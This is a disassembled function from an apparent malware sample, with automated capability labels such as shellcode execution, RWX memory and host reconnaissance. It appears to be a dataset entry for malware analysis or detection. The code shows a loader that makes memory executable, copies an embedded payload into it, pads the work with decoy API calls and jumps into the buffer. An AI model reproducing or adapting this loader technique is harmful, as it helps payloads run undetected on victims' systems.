Function at 0x40166e
Capabilities:
Allocate or change rwx memory
Delete directory
Execute shellcode via indirect call
Get common file path
Get disk information
Get geographical location
Get hostname
Identify system language via api
Set file attributes
Terminate process
Terminate thread

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x143c
call fcn.0040fb80
mov ecx, dword [0x1a0d030]
push esi
push edi
cmp ecx, 0x93
je 0x40181e
mov eax, dword [0x41aaa8]
add ecx, 0x1134b
push ecx
xor esi, esi
mov dword [0x1a0d034], eax
push esi
mov dword [0x1a0d030], ecx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 0x14]
mov dword [0x1a0ca24], eax
push ecx
push 0x40
push dword [0x1a0d030]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, 0xa90ee
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec edi
jne 0x4016cc
mov edx, dword [0x1a0d030]
mov edi, esi
test edx, edx
je 0x40173c
mov eax, dword [0x1a0d034]
mov cl, byte [eax + edi + 0x1134b]
mov eax, dword [0x1a0ca24]
mov byte [eax + edi], cl
cmp edx, 0x490
jne 0x401737
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
push 0x417830
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push esi
lea eax, [ebp - 0x143c]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x83c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
mov edx, dword [0x1a0d030]
inc edi
cmp edi, edx
jb 0x4016e1
mov edi, esi
lea eax, [edx + edi]
cmp eax, 0x8d
jne 0x401779
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push esi
lea eax, [ebp - 4]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
push esi
push esi
push str.hapalipizoheyukidesok
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
mov edx, dword [0x1a0d030]
inc edi
cmp edi, 0x38681
jl 0x40173e
push ecx
call fcn.0040162b
mov edi, esi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp edi, 0x62
jne 0x40179b
call fcn.00401652
inc edi
cmp edi, 0x674db
jl 0x40178a
push 0x7b
pop edi
cmp dword [0x1a0d030], 0x86
jne 0x4017e7
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
push str.vuzaye_nujolohezifov_vevisegitakaweyebonefih_macetayomufifefixahajomumejov
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x3c]
push eax
push str.vugiguna
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc3c]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
cmp dword [0x1a0d030], 0xf
jne 0x4017fe
push str.bemivikebufef
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
dec edi
jne 0x4017a7
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov eax, dword [0x1a0ca24]
mov dword [0x1a0d024], eax
call eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push str.taxofiyuxiborefecad
call dword [sym.imp.KERNEL32.dll_AddAtomA]
xor eax, eax
xor esi, esi
push esi
btr dword [eax], 0
lea eax, [ebp - 0x43c]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push esi
lea eax, [ebp - 0x143c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push 0x417818
push esi
call fcn.004035a4
push esi
call fcn.00403800
push esi
call fcn.00402a34
add esp, 0x10
xorps xmm1, xmm1
xorps xmm0, xmm0
call fcn.00401080
push str.bad_exception
lea ecx, [ebp - 0x20]
call fcn.004010c6
lea ecx, [ebp - 0x20]
call fcn.004010e2
push esi
call fcn.004035e0
pop ecx
push esi
call fcn.00403c23
int3